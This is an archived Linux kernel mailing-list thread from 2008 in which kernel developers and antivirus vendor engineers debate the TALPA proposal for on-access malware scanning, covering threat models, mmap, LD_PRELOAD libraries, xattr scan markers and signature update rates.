>>>>> 2. the fact that two programs can use it as an inter-process
>>>>> communication mechanism.
>>>>>
>>>>
>>>> ...can and will use it as an IPC. So we need to modify some
>>>> applications.
>>>>
>>>> Rather than modify all the applications using mmap (you can't tell if
>>>> the other side is going to use it for shared memory... right?), we
>>>> could simply modify all the Windows-facing applications using mmap.
>>>>
>>>>
>>>>> if you are worried about the IPC aspects, all you can do is forbid it,
>>>>
>>>> Can you automatically tell if applications are using mmap for IPC?
>>>>
>>>> BTW in another mail you wanted to include /var/log/syslog from
>>>> scanning. You should not be doing that if syslog is exported to
>>>> Windows systems. Of course, you can get away with scanning syslog when
>>>> Windows client tries to read it, which should be acceptable...
>>>>
>>>>  Pavel
>>>>
>>>
>>> There is a solution to this whole scanning thing, but I've been
>>> reluctant to suggest it, and it will be pretty obvious why y'all
>>> probably don't want to try it. Just to be sure the options are
>>> out on the table, here goes.
>>>
>>> Define an xattr, let's call it "UNSCANNED", which has as its value
>>> a timestamp. A regular file with this attribute cannot be executed
>>> or opened,(exec or open hangs or fails, either behavior has merit
>>> and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
>>> to remove the attribute. File creation attaches the attribute. Any
>>> open for write attaches the attribute.
>>>
>>> Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
>>> judgment on files with this attribute, removing either the file, if
>>> it is Evil, or the attribute, if it is Good. The scanner is invoked
>>> when a file that was open with write access is closed. This can be
>>> done using mechanisms already discussed on this thread.
>>>
>>> If you like, you could use a "SCANNED" attribute instead of an
>>> "UNSCANNED" attribute, and reverse the sense of the test. The
>>> major difference will show up on filesystems that don't support
>>> xattrs. The implications should be obvious.
>>>
>>> Now at the beginning I said that you wouldn't like this scheme,
>>> and it shouldn't take a security expert to see the usability problems.
>>> This is how an old school trusted systems junkie (like me) would do
>>> it, and I don't see a better way that would actually achieve the
>>> stated goals. If you wanted you could implement an LSM to do the
>>> labeling bit in a day or two, the notification in about the same
>>> time, which would leave the scanner as the long pole in your
>>> development schedule.
>>
>> did you read the proposal I wrote up? it's similar to (but more flexible
>> than) what you are saying
>>
>> it would allow for multiple 'scanned' tags (to allow for multiple scanning
>> programs). the kernel would clear the tags when the file is dirtied (not
>> when it is closed, the file may not be closed for weeks after all), there is
>> a mechanism to tell the scanner(s) that a file was modified (rather then
>> having to scan the entire filesystem), and if the scan was not done yet when
>> a file is opened the scanner(s) can be invoked at that time.
>>
>>> P.S. - Library based security doesn't work.
>>
>> why not? (with the appropriate kernel support)
>>
>> it actually wouldn't be hard to have the kernel check the xattr, what would
>> be hard is hving the kernel know when it should then invoke the scanner(s)
>> and when it shouldn't. This is a policy decision that doesn't belong in the
>> kernel.
>>
> Because of syscalls  and you don't need to use LD.so to run a program.
>
> Programs can embed there own LD.so and avoid using the system core
> one.   This kind of function is being developed for LSB applications
> for platforms that don't support LSB.
>
> syscalls you can run programs by passing all .so files and directly
> talk to kernel.
>
> Two aways around LD Preloads there are a few more.

you seem to be disagreeing with the threat model. If so, rather then 
arguing agains this implementation of a defense, you need to be arguing 
against the threat model.

you are arguing that this solution doesn't work in some conditions. you 
are correct, but the threat model that was proposed (and nobody has 
proposed any different ones) is not trying to defend against code running 
on the system, even if that code is trying to bypass the protection. I 
even think that this is a good thing. it allows the distros to use the 
protection where appropriate and disable it where it's not (which is a 
surprisingly large number of places).

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Casey Schaufler]

david@lang.hm wrote:
> On Sun, 17 Aug 2008, Casey Schaufler wrote:
>
>> Pavel Machek wrote:
>>>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>>>> libmalware magically solves.  What?  don't use mmap?  I certainly 
>>>>>> hope
>>>>>> not.
>>>>>>
>>>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>>>> which is basically shared memory -- is fundamentally incompatible 
>>>>> with
>>>>> reliable virus scanning.
>>>>>
>>>>> ...or do you have a reasonable solution for mmap?
>>>>>
>>>> mmap has a few different problems
>>>>
>>>> 1. intercepting reads and writes to take action at that time
>>>>
>>>> 2. the fact that two programs can use it as an inter-process 
>>>> communication mechanism.
>>>>
>>>
>>> ...can and will use it as an IPC. So we need to modify some
>>> applications.
>>>
>>> Rather than modify all the applications using mmap (you can't tell if
>>> the other side is going to use it for shared memory... right?), we
>>> could simply modify all the Windows-facing applications using mmap.
>>>
>>>
>>>> if you are worried about the IPC aspects, all you can do is forbid it, 
>>>
>>> Can you automatically tell if applications are using mmap for IPC?
>>>
>>> BTW in another mail you wanted to include /var/log/syslog from
>>> scanning. You should not be doing that if syslog is exported to
>>> Windows systems. Of course, you can get away with scanning syslog when
>>> Windows client tries to read it, which should be acceptable...
>>>                                     Pavel
>>>
>>
>> There is a solution to this whole scanning thing, but I've been
>> reluctant to suggest it, and it will be pretty obvious why y'all
>> probably don't want to try it. Just to be sure the options are
>> out on the table, here goes.
>>
>> Define an xattr, let's call it "UNSCANNED", which has as its value
>> a timestamp. A regular file with this attribute cannot be executed
>> or opened,(exec or open hangs or fails, either behavior has merit
>> and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
>> to remove the attribute. File creation attaches the attribute. Any
>> open for write attaches the attribute.
>>
>> Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
>> judgment on files with this attribute, removing either the file, if
>> it is Evil, or the attribute, if it is Good. The scanner is invoked
>> when a file that was open with write access is closed. This can be
>> done using mechanisms already discussed on this thread.
>>
>> If you like, you could use a "SCANNED" attribute instead of an
>> "UNSCANNED" attribute, and reverse the sense of the test. The
>> major difference will show up on filesystems that don't support
>> xattrs. The implications should be obvious.
>>
>> Now at the beginning I said that you wouldn't like this scheme,
>> and it shouldn't take a security expert to see the usability problems.
>> This is how an old school trusted systems junkie (like me) would do
>> it, and I don't see a better way that would actually achieve the
>> stated goals. If you wanted you could implement an LSM to do the
>> labeling bit in a day or two, the notification in about the same
>> time, which would leave the scanner as the long pole in your
>> development schedule.
>
> did you read the proposal I wrote up? it's similar to (but more 
> flexible than) what you are saying

Sorry, I must have missed it. My bad.

> it would allow for multiple 'scanned' tags (to allow for multiple 
> scanning programs). the kernel would clear the tags when the file is 
> dirtied (not when it is closed, the file may not be closed for weeks 
> after all), there is a mechanism to tell the scanner(s) that a file 
> was modified (rather then having to scan the entire filesystem), and 
> if the scan was not done yet when a file is opened the scanner(s) can 
> be invoked at that time.
>

One xattr, multiple xattrs, all would work. It's simpler to clear the
"scanned" attribute on open than on dirty, a your scheme means looking
at writes, seeks, ioctls, fcntls, and so on.
 
>> P.S. - Library based security doesn't work.
>
> why not? (with the appropriate kernel support)

If you have kernel support it aint library based.

> it actually wouldn't be hard to have the kernel check the xattr, what 
> would be hard is hving the kernel know when it should then invoke the 
> scanner(s) and when it shouldn't. This is a policy decision that 
> doesn't belong in the kernel.

I'm old school. I say that all policy decisions regarding objects that
the kernel maintains belong in the kernel. That's why I say that any time
a file is closed with scanned unset (or unscanned set) the scanner should
be invoked or notified. The scanner can choose to ignore or queue the
notification, but the kernel will be done at that point. The kernel have
done all that it can and it's up to the scanner from then on.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Mon, 18 Aug 2008 00:58:44 +0200
Pavel Machek <pavel@suse.cz> wrote:

> Rather than modify all the applications using mmap (you can't tell if
> the other side is going to use it for shared memory... right?), we
> could simply modify all the Windows-facing applications using mmap.

If web browsers, office suites and mail clients on Windows
have certain kinds of vulnerabilities, it is safe to assume
that the same programs on Linux will have similar problems.

Can we please get rid of the idea that "Windows facing" is
where the whole malware problem is?

As for how to solve it - lets try to come up with a solution
that is reasonably high performance and can be used for more
than just malware scanning.  

Using the same code for things like HSM would be nice.
 
-- 
All rights reversed.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

On Sun 2008-08-17 20:07:39, Rik van Riel wrote:
> On Mon, 18 Aug 2008 00:58:44 +0200
> Pavel Machek <pavel@suse.cz> wrote:
> 
> > Rather than modify all the applications using mmap (you can't tell if
> > the other side is going to use it for shared memory... right?), we
> > could simply modify all the Windows-facing applications using mmap.
> 
> If web browsers, office suites and mail clients on Windows
> have certain kinds of vulnerabilities, it is safe to assume
> that the same programs on Linux will have similar problems.
> 
> Can we please get rid of the idea that "Windows facing" is
> where the whole malware problem is?
> 
> As for how to solve it - lets try to come up with a solution
> that is reasonably high performance and can be used for more
> than just malware scanning.  

Don't mix exploits with viruses -- they are different.

Exploit is where application does something very unexpected due to a
bug.

Virus is where machine works correctly, but user does something
stupid.

For exploits, randomization + patching + compartments seem like a
solution. We should be working on "how to confine openoffice.org so
that it can't do much damage" instead of "how to detect .doc documents
that makes openoffice.org do something unexpected".

									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Alan Cox]

> So if that is the threat model, then the only thing libmalware.so
> doesn't solve is knfsd access, and it should be evaluated on that

And static binaries, and other kernel modular file I/O done on behalf of
applications, and making a library work well which is *hard*, and
labelling and scalability, and sharing a cache between users, and
aggregating events across processes .. and a few other things.

You have a lot of shared state here.

> So let's be real clear, up front, what the threat model is, and avoid
> changing the model around to rule out solutions that don't fit the
> initially preconceived one.  That's how you get to the TSA
> confiscating water bottles in airport security lines.

I don't think this is useful. I don't actually care what the virus folks
want to implement. I would rather see useful general purpose interfaces
that are practical and make sense. I cdon't really care whether people
use the write() system call to do sensible or dumb things. What we should
care about is the write syscall.

There seem so far to be two independent requests

* Noticing a file has recently changed, possibly with information about
changes and possibly being able to aggregate/time that for scalability.
This has a need to be able to accurately reference which file. This is
needed for good content indexing, and virus people want it for certain
kinds of scanning (post write, background etc). Doing this solely as a
final close notifier seems to be insufficient (as it may never close).

* Being able to pause an open pending some action. Examples include HSM
and dubiously some kinds of virus check. Problems here include the fact
it can only meaningfully be done for first open (which is fine for HSM)
and that the notion of an exclusive open, or of repeated clearly defined
open/read-write/close/done sequences are actually quite foreign to Unix
like systems.

We shouldn't need to care what people do with good interface. What
matters is in your airport example is that at the infrastructure level
there is a point you can choose to do scanning and we agree where.
Whether people use this to provide a Starbucks or goons with rubber
gloves who take away babies milk is an application layer problem.

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Theodore Tso]

On Fri, Aug 15, 2008 at 09:35:13AM +0100, Alan Cox wrote:
> We shouldn't need to care what people do with good interface. What
> matters is in your airport example is that at the infrastructure level
> there is a point you can choose to do scanning and we agree where.
> Whether people use this to provide a Starbucks or goons with rubber
> gloves who take away babies milk is an application layer problem.

If it's a good interface that also happens to address HSM/DMAPI
functionality, as well as a more efficient way for trackerd to work, I
agree completely.  I think you will agree the proposed TALPA interface
is a bit too virus-scanner specific, though?  Especially with explicit
talk of specialized (persistent or not) "clean/dirty/infected" bits
that the kernel would store in the inode for the benefit of the AV
scanner?  That's rather optimized for the goons-with-rubber-gloves
that-make-mothers-drink-their-own-breast-to-prove-it's-not-explosives
crowd, I think...

       	     	      	  	    		   - Ted

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[Press, Jonathan]

> -----Original Message-----
> From: Theodore Tso [mailto:tytso@mit.edu]
> Sent: Friday, August 15, 2008 7:35 AM
> To: Alan Cox
> Cc: Rik van Riel; Pavel Machek; Press, Jonathan; davecb@sun.com;
Adrian Bunk;
> Mihai Don??u; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-
> security-module@vger.kernel.org; Arjan van de Ven
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforonaccess
> scanning
> 
> On Fri, Aug 15, 2008 at 09:35:13AM +0100, Alan Cox wrote:
> > We shouldn't need to care what people do with good interface. What
> > matters is in your airport example is that at the infrastructure
level
> > there is a point you can choose to do scanning and we agree where.
> > Whether people use this to provide a Starbucks or goons with rubber
> > gloves who take away babies milk is an application layer problem.

An interesting example is (please don't scream everyone -- it's just an
illustration of one approach to the problem) NetWare.  (In fact, we
still have a lot of active NetWare customers, so the fact that it is an
archaic OS is not really the issue.)  NetWare takes the kitchen-sink
approach.  It has an interface that allows notification on a whole host
of i/o events, way more than we have ever found useful, and the
application can register for the ones it wants and go from there.  The
kernel does not care what the application's inherent logic is, as long
as the application passes control back with some appropriate return
information (in other words, allow or deny in the context of malware)
within a reasonable amount of time.  I have no idea what purpose it was
written for originally, and there are flaws to be sure, but I know that
it is used successfully for HSMs and anti-malware products.  


> If it's a good interface that also happens to address HSM/DMAPI
> functionality, as well as a more efficient way for trackerd to work, I
> agree completely.  I think you will agree the proposed TALPA interface
> is a bit too virus-scanner specific, though?  Especially with explicit
> talk of specialized (persistent or not) "clean/dirty/infected" bits
> that the kernel would store in the inode for the benefit of the AV
> scanner?  That's rather optimized for the goons-with-rubber-gloves
> that-make-mothers-drink-their-own-breast-to-prove-it's-not-explosives
> crowd, I think...

That may just be a question of terminology.  If the bits are construed
not as clean/dirty/infected, but as "I care about this file" vs. "I
don't care about this file" then the rubber gloves come off.


Jon Press

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[Theodore Tso]

On Fri, Aug 15, 2008 at 08:57:48AM -0400, Press, Jonathan wrote:
> That may just be a question of terminology.  If the bits are construed
> not as clean/dirty/infected, but as "I care about this file" vs. "I
> don't care about this file" then the rubber gloves come off.

Sure, as long as we're very clear about the semantics of the bits.  If
the bits are not persistent, but which get dropped if the inode is
every evicted from memory, and it's considered OK, or even desirable,
to rescan the file when it is brought back into memory, that may be
acceptable to the rubber gloves folks (make people go through lots
superflous of security scans, even when they are transfering betewen
flights --- security is always more important than passengers'
convenience!), but perhaps not to other applications such as file
indexers, who would view rescanning files that have already been
scanned, and not have been modified, as a waste of time, battery, CPU
and disk bandwidth, etc.

As I understand it, the TALPA proposal had non-persistent
clean/dirty/infected bits.

						- Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[douglas.leeder]

malware-list-bounces@dmesg.printk.net wrote on 2008-08-15 14:16:21:

> On Fri, Aug 15, 2008 at 08:57:48AM -0400, Press, Jonathan wrote:
> > That may just be a question of terminology.  If the bits are construed
> > not as clean/dirty/infected, but as "I care about this file" vs. "I
> > don't care about this file" then the rubber gloves come off.
> 
> Sure, as long as we're very clear about the semantics of the bits.  If
> the bits are not persistent, but which get dropped if the inode is
> every evicted from memory, and it's considered OK, or even desirable,
> to rescan the file when it is brought back into memory, that may be
> acceptable to the rubber gloves folks (make people go through lots
> superflous of security scans, even when they are transfering betewen
> flights --- security is always more important than passengers'
> convenience!), but perhaps not to other applications such as file
> indexers, who would view rescanning files that have already been
> scanned, and not have been modified, as a waste of time, battery, CPU
> and disk bandwidth, etc.
> 
> As I understand it, the TALPA proposal had non-persistent
> clean/dirty/infected bits.
> 
>                   - Ted

Yes the current proposal has temporary markers in the in-memory 
representation if inodes.

This is a problem for current anti-malware scanning, as virus data updates 
come every few hours
(at which point the entire clean/infected state has to be cleared), so the 
loss after a reboot is 
limited.

-- 
Douglas Leeder

Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[douglas.leeder]

malware-list-bounces@dmesg.printk.net wrote on 2008-08-15 14:22:27:

> malware-list-bounces@dmesg.printk.net wrote on 2008-08-15 14:16:21:
> 
> > On Fri, Aug 15, 2008 at 08:57:48AM -0400, Press, Jonathan wrote:
> > > That may just be a question of terminology.  If the bits are 
construed
> > > not as clean/dirty/infected, but as "I care about this file" vs. "I
> > > don't care about this file" then the rubber gloves come off.
> > 
> > Sure, as long as we're very clear about the semantics of the bits.  If
> > the bits are not persistent, but which get dropped if the inode is
> > every evicted from memory, and it's considered OK, or even desirable,
> > to rescan the file when it is brought back into memory, that may be
> > acceptable to the rubber gloves folks (make people go through lots
> > superflous of security scans, even when they are transfering betewen
> > flights --- security is always more important than passengers'
> > convenience!), but perhaps not to other applications such as file
> > indexers, who would view rescanning files that have already been
> > scanned, and not have been modified, as a waste of time, battery, CPU
> > and disk bandwidth, etc.
> > 
> > As I understand it, the TALPA proposal had non-persistent
> > clean/dirty/infected bits.
> > 
> >                   - Ted
> 
> Yes the current proposal has temporary markers in the in-memory 
> representation if inodes.
> 
> This is a problem for current anti-malware scanning, as virus data 
updates 
> come every few hours
> (at which point the entire clean/infected state has to be cleared), so 
the 
> loss after a reboot is 
> limited.

Of course I mean't NOT a problem...

-- 
Douglas Leeder



Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[Theodore Tso]

On Fri, Aug 15, 2008 at 02:22:27PM +0100, douglas.leeder@sophos.com wrote:
> 
> This is a problem for current anti-malware scanning, as virus data updates 
> come every few hours

Every few hours?!?  I hadn't noticed Windows AV programs getting
updates that frequently, at least not the ones that I've been familiar
with.  (Semantec, Norton, McAfee)

						- Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[douglas.leeder]

Theodore Tso <tytso@mit.edu> wrote on 2008-08-15 14:55:37:

> On Fri, Aug 15, 2008 at 02:22:27PM +0100, douglas.leeder@sophos.com 
wrote:
> > 
> > This is a problem for current anti-malware scanning, as virus data 
updates 
> > come every few hours
> 
> Every few hours?!?  I hadn't noticed Windows AV programs getting
> updates that frequently, at least not the ones that I've been familiar
> with.  (Semantec, Norton, McAfee)

>From one of our Linux machines that configured to update normally:
Fri 15 Aug 2008 15:02:23 BST
Fri 15 Aug 2008 12:52:19 BST
Fri 15 Aug 2008 08:32:24 BST
Fri 15 Aug 2008 04:12:27 BST
Fri 15 Aug 2008 02:02:23 BST

That was the sort of time period I remember being told - 
        but the AV products probably don't make a song and 
dance about a small virus data updates so you probably wouldn't notice 
them.

-- 
Douglas Leeder

Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[Valdis.Kletnieks]

[-- Attachment #1: Type: text/plain, Size: 1054 bytes --]

On Fri, 15 Aug 2008 09:55:37 EDT, Theodore Tso said:
> On Fri, Aug 15, 2008 at 02:22:27PM +0100, douglas.leeder@sophos.com wrote:
> > 
> > This is a problem for current anti-malware scanning, as virus data updates 
> > come every few hours
> 
> Every few hours?!?  I hadn't noticed Windows AV programs getting
> updates that frequently, at least not the ones that I've been familiar
> with.  (Semantec, Norton, McAfee)

Try running a mail server that provides virus scanning for a large population
of 100K or so mailboxes.  You end up pulling from your vendor on an hourly
basis, just because a virus on a burn through your userbase can toast you that
quickly.

Since 9AM Sunday (is now 11:30AM Friday as I write this), we've pulled new
signatures 33 times (one new signature each time in this case) from our vendor.
So yeah, about once every 3-4 hours we get a new updated one for a new variant
of whatever.  I've seen times when we've pulled a new signature file 3 hours in
a row, and each time there were 10-12 new variants, so averaging 12/hour...



[-- Attachment #2: Type: application/pgp-signature, Size: 226 bytes --]

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

> > So if that is the threat model, then the only thing libmalware.so
> > doesn't solve is knfsd access, and it should be evaluated on that
> 
> And static binaries, and other kernel modular file I/O done on behalf of
> applications, and making a library work well which is *hard*, and
> labelling and scalability, and sharing a cache between users, and
> aggregating events across processes .. and a few other things.

Well, I believe libmalware.so works with threat model I described; of
course it will not protect statically linked sambad (unless you
statically link it with libmalware.so, which you should do). I'm not
actually advocating LD_PRELOAD. There are enough userspace nfsds
around, but yes, you can't use libmalware.so with knfsd. 

[You could do something like fuse filesystem linked with libmalware,
and make knfsd export that, and put applications you can't link with
libmalware to use that. But that's a _hack_.]

> There seem so far to be two independent requests
> 
> * Noticing a file has recently changed, possibly with information about
> changes and possibly being able to aggregate/time that for scalability.
> This has a need to be able to accurately reference which file. This is
> needed for good content indexing, and virus people want it for certain
> kinds of scanning (post write, background etc). Doing this solely as a
> final close notifier seems to be insufficient (as it may never
> close).

Agreed, we need this.

> * Being able to pause an open pending some action. Examples include HSM
> and dubiously some kinds of virus check. Problems here include the fact
> it can only meaningfully be done for first open (which is fine for HSM)
> and that the notion of an exclusive open, or of repeated clearly defined
> open/read-write/close/done sequences are actually quite foreign to Unix
> like systems.

Do HSMs really get implemented like that? I'd expect HSM to be
something like fuse or unionfs... and when it is confined to one
filesystem, you can use existing solutions.

I don't like blocking at open at all, and I don't think blocking at
open is enough for antivirus scanner.
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Arjan van de Ven]

On Wed, 13 Aug 2008 14:56:38 +0200
Pavel Machek <pavel@suse.cz> wrote:
> So you make sure all apps are modified. Distros are good at that, and
> modifications are not that hard.
> 
> Plus, proposed solution already has three unacceptable holes:
> 
> 1) it only catches known signatures
> 
> 2) write vs. read race mentioned above
> 
> 3) mmap problem
> 
> . Making sure all apps use libmalware.so is trivial compared to
> solving 3).

the other thing is.. all applications ALREADY use such a library. It's
called "glibc".



-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Arjan van de Ven]

On Wed, 13 Aug 2008 06:46:46 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> > -----Original Message-----
> > From: Pavel Machek [mailto:pavel@suse.cz]
> > Sent: Wednesday, August 13, 2008 6:28 AM
> > To: Press, Jonathan
> > Cc: davecb@sun.com; Arjan van de Ven; Mihai Don??u; Adrian Bunk;
> > tvrtko.ursulin@sophos.com; Greg KH; linux-kernel@vger.kernel.org;
> linux-security-
> > module@vger.kernel.org; malware-list@lists.printk.net
> > Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
> linuxinterfaceforon access
> > scanning
> > 
> > > I think everyone understands one side of the threat model, that is
> Linux machines
> > being carriers of infections aimed at other platforms.  There are
> > many
> ways that
> > such infections can be stored, and many ways in which they can be
> communicated
> > to the target machines.  There are so many that it would not be
> effective or efficient
> > for each such transfer application to be able to handle its own
> malware scanning,
> > which is the short statement of why centralized AV protection with
> notification
> > assistance from the kernel is appropriate.
> > >
> > 
> > No.
> > 
> > Proposed kernel solution did not work -- there still was write
> > vs. read race. You are right that it is not ok for each application
> > to do its own malware scanning, but libmalware.so that handles the
> > scanning seems very reasonable.
> > 
> > And as applications _need_ to be modified for the write vs. read
> > race to be solved, libmalware.so looks like a way forward.
> >
> Pavel
> 
> I am not sure what you are suggesting, and I may have missed the
> libmalware proposal (I don't see any mention of that specific idea in
> any other message).  However, just to be clear...  At no point did we
> suggest that the kernel would do any scanning.  What we have been
> interested in is a mechanism that can allow a scanning application to
> be notified by the kernel of specific i/o events, for those events to
> be blocked by the kernel until a user-space scan is done, and then the
> user-space scan sends back allow or deny, at which point the i/o event
> returns to the caller -- either success or error.  This is the only
> way that malware can be guaranteed of being detected when it is used
> (for local application purposes or for transmission to another
> platform) or created.  

this is a very broad statement that ignores the LD_PRELOAD approach,
and thus not true.


> 
> Also, a solution that requires applications to be modified will not
> work, because there is no way that we would be able to get ALL
> applications on the machines to be modified in the required ways.  If
> ANY applications are not so modified, then you have an unacceptable

you don't need to modify applications to make them use a library...


-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[tvrtko.ursulin]

Arjan van de Ven <arjan@infradead.org> wrote on 13/08/2008 14:54:01:

> > I am not sure what you are suggesting, and I may have missed the
> > libmalware proposal (I don't see any mention of that specific idea in
> > any other message).  However, just to be clear...  At no point did we
> > suggest that the kernel would do any scanning.  What we have been
> > interested in is a mechanism that can allow a scanning application to
> > be notified by the kernel of specific i/o events, for those events to
> > be blocked by the kernel until a user-space scan is done, and then the
> > user-space scan sends back allow or deny, at which point the i/o event
> > returns to the caller -- either success or error.  This is the only
> > way that malware can be guaranteed of being detected when it is used
> > (for local application purposes or for transmission to another
> > platform) or created. 
> 
> this is a very broad statement that ignores the LD_PRELOAD approach,
> and thus not true.

LD_PRELOAD does not solve at least knfsd and suid binaries. But we are 
going in circles. :)
 
> > Also, a solution that requires applications to be modified will not
> > work, because there is no way that we would be able to get ALL
> > applications on the machines to be modified in the required ways.  If
> > ANY applications are not so modified, then you have an unacceptable
> 
> you don't need to modify applications to make them use a library...

Same is true for a kernel solution. Plus, it also works for those who make 
system calls directly, knfsd and suid binaries, and we can have cheap and 
ultra-efficient caching. Not much kernel code, even less complex kernel 
code and unmeasurable impact when not used and compiled in. What are the 
big technical objections to that?

--
Tvrtko A. Ursulin
Senior Software Engineer, Sophos

"Views and opinions expressed in this email are strictly those of the 
author.
 The contents has not been reviewed or approved by Sophos."
 

Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Arjan van de Ven]

On Wed, 13 Aug 2008 15:16:12 +0100
tvrtko.ursulin@sophos.com wrote:

> Arjan van de Ven <arjan@infradead.org> wrote on 13/08/2008 14:54:01:
> 
> > > I am not sure what you are suggesting, and I may have missed the
> > > libmalware proposal (I don't see any mention of that specific
> > > idea in any other message).  However, just to be clear...  At no
> > > point did we suggest that the kernel would do any scanning.  What
> > > we have been interested in is a mechanism that can allow a
> > > scanning application to be notified by the kernel of specific i/o
> > > events, for those events to be blocked by the kernel until a
> > > user-space scan is done, and then the user-space scan sends back
> > > allow or deny, at which point the i/o event returns to the caller
> > > -- either success or error.  This is the only way that malware
> > > can be guaranteed of being detected when it is used (for local
> > > application purposes or for transmission to another platform) or
> > > created. 
> > 
> > this is a very broad statement that ignores the LD_PRELOAD approach,
> > and thus not true.
> 
> LD_PRELOAD does not solve at least knfsd and suid binaries. But we
> are going in circles. :)
>  
> > > Also, a solution that requires applications to be modified will
> > > not work, because there is no way that we would be able to get ALL
> > > applications on the machines to be modified in the required
> > > ways.  If ANY applications are not so modified, then you have an
> > > unacceptable
> > 
> > you don't need to modify applications to make them use a library...
> 
> Same is true for a kernel solution. Plus, it also works for those who
> make system calls directly, knfsd and suid binaries, and we can have
> cheap and ultra-efficient caching. Not much kernel code, even less
> complex kernel code and unmeasurable impact when not used and
> compiled in. What are the big technical objections to that?
> 

the biggest objection is the lack of security model description.
STILL nobody has answered Ted's questions.

And still the AV side of the argument keeps making circular arguments.


I'm not saying the kernel shouldn't be involved at all.
I can totally see a solution where we have a
sys_virus_scan(int fd)
that glibc calls at appropriate places (say every read() and mmap())
and that on the kernel side uses a cache to store which virus signature
version it was last scanned with, and if not new enough.. punts to some
userspace scanner for vetting.

but first someone needs to answer Ted's very basic questions or the
TALPA side really does look like a donkey in this argument.





-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[tvrtko.ursulin]

Arjan van de Ven wrote on 13/08/2008 15:28:59:

> On Wed, 13 Aug 2008 15:16:12 +0100
> tvrtko.ursulin@sophos.com wrote:
> 
> > Arjan van de Ven <arjan@infradead.org> wrote on 13/08/2008 14:54:01:
> > 
> > > > I am not sure what you are suggesting, and I may have missed the
> > > > libmalware proposal (I don't see any mention of that specific
> > > > idea in any other message).  However, just to be clear...  At no
> > > > point did we suggest that the kernel would do any scanning.  What
> > > > we have been interested in is a mechanism that can allow a
> > > > scanning application to be notified by the kernel of specific i/o
> > > > events, for those events to be blocked by the kernel until a
> > > > user-space scan is done, and then the user-space scan sends back
> > > > allow or deny, at which point the i/o event returns to the caller
> > > > -- either success or error.  This is the only way that malware
> > > > can be guaranteed of being detected when it is used (for local
> > > > application purposes or for transmission to another platform) or
> > > > created. 
> > > 
> > > this is a very broad statement that ignores the LD_PRELOAD approach,
> > > and thus not true.
> > 
> > LD_PRELOAD does not solve at least knfsd and suid binaries. But we
> > are going in circles. :)
> > 
> > > > Also, a solution that requires applications to be modified will
> > > > not work, because there is no way that we would be able to get ALL
> > > > applications on the machines to be modified in the required
> > > > ways.  If ANY applications are not so modified, then you have an
> > > > unacceptable
> > > 
> > > you don't need to modify applications to make them use a library...
> > 
> > Same is true for a kernel solution. Plus, it also works for those who
> > make system calls directly, knfsd and suid binaries, and we can have
> > cheap and ultra-efficient caching. Not much kernel code, even less
> > complex kernel code and unmeasurable impact when not used and
> > compiled in. What are the big technical objections to that?
> > 
> 
> the biggest objection is the lack of security model description.
> STILL nobody has answered Ted's questions.
> 
> And still the AV side of the argument keeps making circular arguments.
> 
> 
> I'm not saying the kernel shouldn't be involved at all.
> I can totally see a solution where we have a
> sys_virus_scan(int fd)
> that glibc calls at appropriate places (say every read() and mmap())
> and that on the kernel side uses a cache to store which virus signature
> version it was last scanned with, and if not new enough.. punts to some
> userspace scanner for vetting.
> 
